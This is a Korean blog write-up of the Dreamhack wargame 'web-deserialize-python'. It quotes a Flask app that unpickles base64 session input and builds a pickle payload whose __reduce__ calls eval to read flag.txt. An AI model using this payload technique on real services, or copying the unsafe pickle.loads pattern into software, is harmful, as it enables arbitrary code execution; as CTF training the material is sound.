본문 바로가기

드림핵

[드림핵 워게임] web-deserialize-python

<문제>

 

<풀이>

문제 사이트에 처음 접속하면 뜨는 페이지이다.

 

/create_session 페이지에 접속해본다.

 

값을 입력해본다.

 

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

입력한 값은 각각 name, userid, password 를 키로 하는 튜플로 저장된다.

그리고 pickle.dumps()에 의해 직렬화되어 바이트코드로 변환된다.

그리고 base64로 인코딩된다.

 

인코딩 된 문자열이 create_session.html을 렌더링하며 전달된다.

전달된 문자열이다.

 

/check_session 페이지에 방문해서 전달된 문자열을 입력한다.

 

입력했던 name, userid, password가 출력된다.

 

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

/check_session의 코드를 보면 session값을 다시 base64로 디코드한 뒤에

pickle.loads로 역직렬화하는 것을 확인할 수 있다.

 

pickle 모듈의 취약점은 데이터를 로드하는 과정에서 동작하는 내장함수인 __reduce__()함수에서 발생한다.

 

class vul(object):
    def __reduce__(self):
        cmd = "open('./flag.txt', 'r').read()"
        return (eval, (cmd,))

페이로드를 위와 같이 짰다.

vul() 객체를 호출하면 __reduce__가 호출되면서 return값인 eval함수에 의해 cmd가 실행된다.

 

import os
import pickle
import base64

class vul(object):
    def __reduce__(self):
        cmd = "open('./flag.txt', 'r').read()"
        return (eval, (cmd,))

info = {"name":vul(), "userid":"1234", "password":"1234"}
cla = pickle.dumps(info)
data = base64.b64encode(cla).decode('utf8')
print(data)

위 코드를 실행하면 base64로 인코딩된 문자열이 출력된다.

 

check_session 페이지에 입력한다.

 

FLAG가 출력된다.